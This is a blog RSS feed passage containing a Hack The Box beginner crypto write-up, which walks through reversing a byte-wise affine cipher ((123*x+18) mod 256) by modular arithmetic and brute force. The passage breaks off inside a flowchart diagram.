<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Hakune Blog</title>
    <link>https://www.akihakune.com/</link>
    <description>Recent content on Hakune Blog</description>
    <image>
      <title>Hakune Blog</title>
      <url>https://www.akihakune.com/static/maple-laptop.jpg</url>
      <link>https://www.akihakune.com/static/maple-laptop.jpg</link>
    </image>
    <generator>Hugo -- 0.148.2</generator>
    <language>en</language>
    <lastBuildDate>Thu, 06 Jul 2023 00:45:13 +0000</lastBuildDate>
    <atom:link href="https://www.akihakune.com/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Hack The Box Challenge - Baby Encryption</title>
      <link>https://www.akihakune.com/blog/babycrypt/</link>
      <pubDate>Thu, 06 Jul 2023 00:45:13 +0000</pubDate>
      <guid>https://www.akihakune.com/blog/babycrypt/</guid>
      <description>Hack The Box&amp;#39;s crypto challenge to reverse the encryption on a Python script</description>
      <content:encoded><![CDATA[<p>Short summary:</p>
<ul>
<li>Here&rsquo;s the challenge file: <a href="/data/babycrypt/BabyEncryption.zip">BabyEncryption.zip</a>, zip password is <code>hackthebox</code></li>
<li>Best of luck writing your own decrypting script</li>
</ul>
<hr>
<h2 id="overview-or-tldr">Overview (or tl;dr)</h2>
<p>The challenge involved reversing a Python script that encrypt a string and write it into a text file. Provided with the encrypted file and the encrypting script, we can reverse the encryption using a bit mathematic and pure brute-forcing.</p>
<h2 id="first-look">First look</h2>
<p>Filter the &ldquo;Very Easy&rdquo; section of Hack The Box challenge, and you will find this at the top of the crypto challenge list. Looking into the given files, we see 2 of them:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>aki@kali ~/Downloads $ unzip BabyEncryption.zip
</span></span><span style="display:flex;"><span>Archive:  BabyEncryption.zip
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>BabyEncryption.zip<span style="color:#f92672">]</span> chall.py password:
</span></span><span style="display:flex;"><span>  inflating: chall.py
</span></span><span style="display:flex;"><span>  inflating: msg.enc
</span></span></code></pre></div><p>Here&rsquo;s what you will find inside:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># chall.py</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> string
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> secret <span style="color:#f92672">import</span> MSG
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">encryption</span>(msg):
</span></span><span style="display:flex;"><span>    ct <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> char <span style="color:#f92672">in</span> msg:
</span></span><span style="display:flex;"><span>        ct<span style="color:#f92672">.</span>append((<span style="color:#ae81ff">123</span> <span style="color:#f92672">*</span> char <span style="color:#f92672">+</span> <span style="color:#ae81ff">18</span>) <span style="color:#f92672">%</span> <span style="color:#ae81ff">256</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> bytes(ct)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ct <span style="color:#f92672">=</span> encryption(MSG)
</span></span><span style="display:flex;"><span>f <span style="color:#f92672">=</span> open(<span style="color:#e6db74">&#39;./msg.enc&#39;</span>,<span style="color:#e6db74">&#39;w&#39;</span>)
</span></span><span style="display:flex;"><span>f<span style="color:#f92672">.</span>write(ct<span style="color:#f92672">.</span>hex())
</span></span><span style="display:flex;"><span>f<span style="color:#f92672">.</span>close()
</span></span></code></pre></div><pre tabindex="0"><code># msg.enc
6e0a9372ec49a3f6930ed8723f9df6f6720ed8d89dc4937222ec7214d89d1e0e352ce0aa6ec82bf622227bb70e7fb7352249b7d893c493d8539dec8fb7935d490e7f9d22ec89b7a322ec8fd80e7f8921
</code></pre><p>Now, let&rsquo;s take a closer look at the file <code>chall.py</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>ct <span style="color:#f92672">=</span> encryption(MSG)
</span></span><span style="display:flex;"><span>f <span style="color:#f92672">=</span> open(<span style="color:#e6db74">&#39;./msg.enc&#39;</span>,<span style="color:#e6db74">&#39;w&#39;</span>)
</span></span><span style="display:flex;"><span>f<span style="color:#f92672">.</span>write(ct<span style="color:#f92672">.</span>hex())
</span></span><span style="display:flex;"><span>f<span style="color:#f92672">.</span>close()
</span></span></code></pre></div><p>This snippet takes a message, encrypts it using the <code>encryption()</code> function, then writes it as hexadecimal to file <code>msg.enc</code>. Therefore, to solve the challenge, we need to reverse whatever the <code>encryption()</code> function did to the original message.</p>
<p>And that&rsquo;s where comes the fun part.</p>
<h2 id="reverse-the-encryption">Reverse the encryption</h2>
<p>At the heart of the matters, lies this function:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">encryption</span>(msg):
</span></span><span style="display:flex;"><span>    ct <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> char <span style="color:#f92672">in</span> msg:
</span></span><span style="display:flex;"><span>        ct<span style="color:#f92672">.</span>append((<span style="color:#ae81ff">123</span> <span style="color:#f92672">*</span> char <span style="color:#f92672">+</span> <span style="color:#ae81ff">18</span>) <span style="color:#f92672">%</span> <span style="color:#ae81ff">256</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> bytes(ct)
</span></span></code></pre></div><p>Simple and straight-forward, isn&rsquo;t it? Line by line, we can see this snippet applies a linear transformation to each character&rsquo;s <a href="https://stackoverflow.com/questions/227459/how-to-get-the-ascii-value-of-a-character">ASCII value</a> in the given message:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>ct<span style="color:#f92672">.</span>append((<span style="color:#ae81ff">123</span> <span style="color:#f92672">*</span> char <span style="color:#f92672">+</span> <span style="color:#ae81ff">18</span>) <span style="color:#f92672">%</span> <span style="color:#ae81ff">256</span>)
</span></span></code></pre></div><p>And if you are new to the mathematical operator &ldquo;%&rdquo;, then it&rsquo;s a <a href="https://en.wikipedia.org/wiki/Modulo">modulo operation</a>, a fancy jargon for the <em>remainder</em> of a division. For instance, <code>5 % 3</code> (or $5 \mod 3$) is $2$.</p>
<p>If we call the original characters in the message string <code>old</code>, and new characters made from that <code>new</code>, then we have this mathematical expression:
$$new=(123 \cdot old + 18)\mod 256$$</p>
<p>Here comes a little arithmetic wizardry. Given any $k \in N$, we can rewrite the equation as follows:
$$\Leftrightarrow 123 \cdot old + 18 = new + 256k$$
$$\Leftrightarrow 123 \cdot old = new + 256k - 18$$
$$\Leftrightarrow old = \frac{new + 256k - 18}{123}$$</p>
<p>Now, considering that all ASCII values are integers, both old and new must also be integers. Therefore, our mission is to find a suitable value for $k$ that satisfies this condition.</p>
<p>While mathematicians might invoke intricate number theory to elegantly solve this problem, let&rsquo;s just be real here: we&rsquo;re going to brute force it.</p>
<h2 id="scripting">Scripting</h2>
<p>Basically, this is the grand plan of our mighty script:</p>



<div class="goat svg-container ">
  
    <svg
      xmlns="http://www.w3.org/2000/svg"
      font-family="Menlo,Lucida Console,monospace"
      
        viewBox="0 0 408 505"
      >
      <g transform='translate(8,16)'>
<path d='M 16,248 L 80,248' fill='none' stroke='currentColor'></path>
<path d='M -4,280 L 4,264' fill='none' stroke='currentColor'></path>
<path d='M -4,280 L 4,296' fill='none' stroke='currentColor'></path>
<path d='M 4,264 L 12,248' fill='none' stroke='currentColor'></path>
<path d='M 4,296 L 12,312' fill='none' stroke='currentColor'></path>
<text text-anchor='middle' x='16' y='180' fill='currentColor' style='font-size:1em'>┌</text>
<text text-anchor='middle' x='16' y='196' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='16' y='212' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='16' y='228' fill='currentColor' style='font-size:1em'>└</text>
<text text-anchor='middle' x='16' y='276' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='16' y='292' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='16' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='24' y='52' fill='currentColor' style='font-size:1em'>┌</text>
<text text-anchor='middle' x='24' y='68' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='24' y='84' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='24' y='100' fill='currentColor' style='font-size:1em'>└</text>
<text text-anchor='middle' x='24' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='24' y='196' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='24' y='212' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='24' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='24' y='276' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='24' y='292' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='24' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='32' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='32' y='68' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='32' y='84' fill='currentColor' style='font-size:1em'>m</text>
<text text-anchor='middle' x='32' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='32' y='116' fill='currentColor' style='font-size:1em'>┌</text>
<text text-anchor='middle' x='32' y='132' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='32' y='148' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='32' y='164' fill='currentColor' style='font-size:1em'>└</text>
<text text-anchor='middle' x='32' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='32' y='196' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='32' y='212' fill='currentColor' style='font-size:1em'>o</text>
<text text-anchor='middle' x='32' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='32' y='276' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='32' y='292' fill='currentColor' style='font-size:1em'>s</text>
<text text-anchor='middle' x='32' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='40' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='40' y='68' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='40' y='84' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='40' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='40' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='40' y='132' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='40' y='148' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='40' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='40' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='40' y='196' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='40' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='40' y='292' fill='currentColor' style='font-size:1em'>u</text>
<text text-anchor='middle' x='40' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='48' y='68' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='48' y='84' fill='currentColor' style='font-size:1em'>s</text>
<text text-anchor='middle' x='48' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='48' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='48' y='132' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='48' y='148' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='48' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='48' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='48' y='196' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='48' y='212' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='48' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='48' y='276' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='48' y='292' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='48' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='48' y='340' fill='currentColor' style='font-size:1em'>┌</text>
<text text-anchor='middle' x='48' y='356' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='48' y='372' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='48' y='388' fill='currentColor' style='font-size:1em'>└</text>
<text text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'>┌</text>
<text text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'>└</text>
<text text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='56' y='68' fill='currentColor' style='font-size:1em'>d</text>
<text text-anchor='middle' x='56' y='84' fill='currentColor' style='font-size:1em'>s</text>
<text text-anchor='middle' x='56' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='56' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='56' y='132' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='56' y='148' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='56' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='56' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='56' y='196' fill='currentColor' style='font-size:1em'>u</text>
<text text-anchor='middle' x='56' y='212' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='56' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='56' y='276' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='56' y='292' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='56' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='56' y='340' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='56' y='356' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='56' y='372' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='56' y='388' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'>o</text>
<text text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='64' y='84' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='64' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='64' y='132' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='64' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='64' y='196' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='64' y='212' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='64' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='64' y='276' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='64' y='292' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='64' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='64' y='340' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='64' y='356' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='64' y='372' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='64' y='388' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'>p</text>
<text text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'>g</text>
<text text-anchor='middle' x='72' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='72' y='132' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='72' y='148' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='72' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='72' y='276' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='72' y='292' fill='currentColor' style='font-size:1em'>d</text>
<text text-anchor='middle' x='72' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='72' y='340' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='72' y='356' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='72' y='388' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'>n</text>
<text text-anchor='middle' x='80' y='84' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='80' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='80' y='148' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='80' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'>f</text>
<text text-anchor='middle' x='80' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='80' y='276' fill='currentColor' style='font-size:1em'>u</text>
<text text-anchor='middle' x='80' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='80' y='340' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='80' y='356' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='80' y='372' fill='currentColor' style='font-size:1em'>w</text>
<text text-anchor='middle' x='80' y='388' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'>n</text>
<text text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='88' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='88' y='132' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='88' y='148' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='88' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'>e</text>
<text text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'>o</text>
<text text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='88' y='244' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='88' y='276' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='88' y='292' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='88' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='88' y='340' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='88' y='356' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='88' y='372' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='88' y='388' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'>┬</text>
<text text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'>▽</text>
<text text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'>(</text>
<text text-anchor='middle' x='96' y='100' fill='currentColor' style='font-size:1em'>┬</text>
<text text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'>▽</text>
<text text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='96' y='164' fill='currentColor' style='font-size:1em'>┬</text>
<text text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'>▽</text>
<text text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'>┬</text>
<text text-anchor='middle' x='96' y='244' fill='currentColor' style='font-size:1em'>▽</text>
<text text-anchor='middle' x='96' y='276' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='96' y='292' fill='currentColor' style='font-size:1em'>n</text>
<text text-anchor='middle' x='96' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='96' y='324' fill='currentColor' style='font-size:1em'>│</text>
<text text-anchor='middle' x='96' y='340' fill='currentColor' style='font-size:1em'>▽</text>
<text text-anchor='middle' x='96' y='356' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='96' y='372' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='96' y='388' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'>f</text>
<text text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'>y</text>
<text text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='104' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='104' y='148' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'>m</text>
<text text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='104' y='244' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='104' y='276' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='104' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='104' y='324' fill='currentColor' style='font-size:1em'>n</text>
<text text-anchor='middle' x='104' y='340' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='104' y='356' fill='currentColor' style='font-size:1em'>u</text>
<text text-anchor='middle' x='104' y='372' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='104' y='388' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'>p</text>
<text text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'>n</text>
<text text-anchor='middle' x='112' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'>h</text>
<text text-anchor='middle' x='112' y='148' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='112' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'>u</text>
<text text-anchor='middle' x='112' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='112' y='244' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='112' y='276' fill='currentColor' style='font-size:1em'>i</text>
<text text-anchor='middle' x='112' y='292' fill='currentColor' style='font-size:1em'>a</text>
<text text-anchor='middle' x='112' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='112' y='324' fill='currentColor' style='font-size:1em'>o</text>
<text text-anchor='middle' x='112' y='340' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='112' y='356' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='112' y='388' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='120' y='100' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'>r</text>
<text text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'>t</text>
<text text-anchor='middle' x='120' y='164' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'>c</text>
<text text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'>l</text>
<text text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='120' y='244' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='120' y='276' fill='currentColor' style='font-size:1em'>o</text>
<text text-anchor='middle' x='120' y='292' fill='currentColor' style='font-size:1em'>n</text>
<text text-anchor='middle' x='120' y='308' fill='currentColor' style='font-size:1em'>_</text>
<text text-anchor='middle' x='120' y='340' fill='currentColor' style='font-size:1em'>─</text>
<text text-anchor='middle' x='120' y='356' fill='currentColor' style='font-size:1em'>a</text>
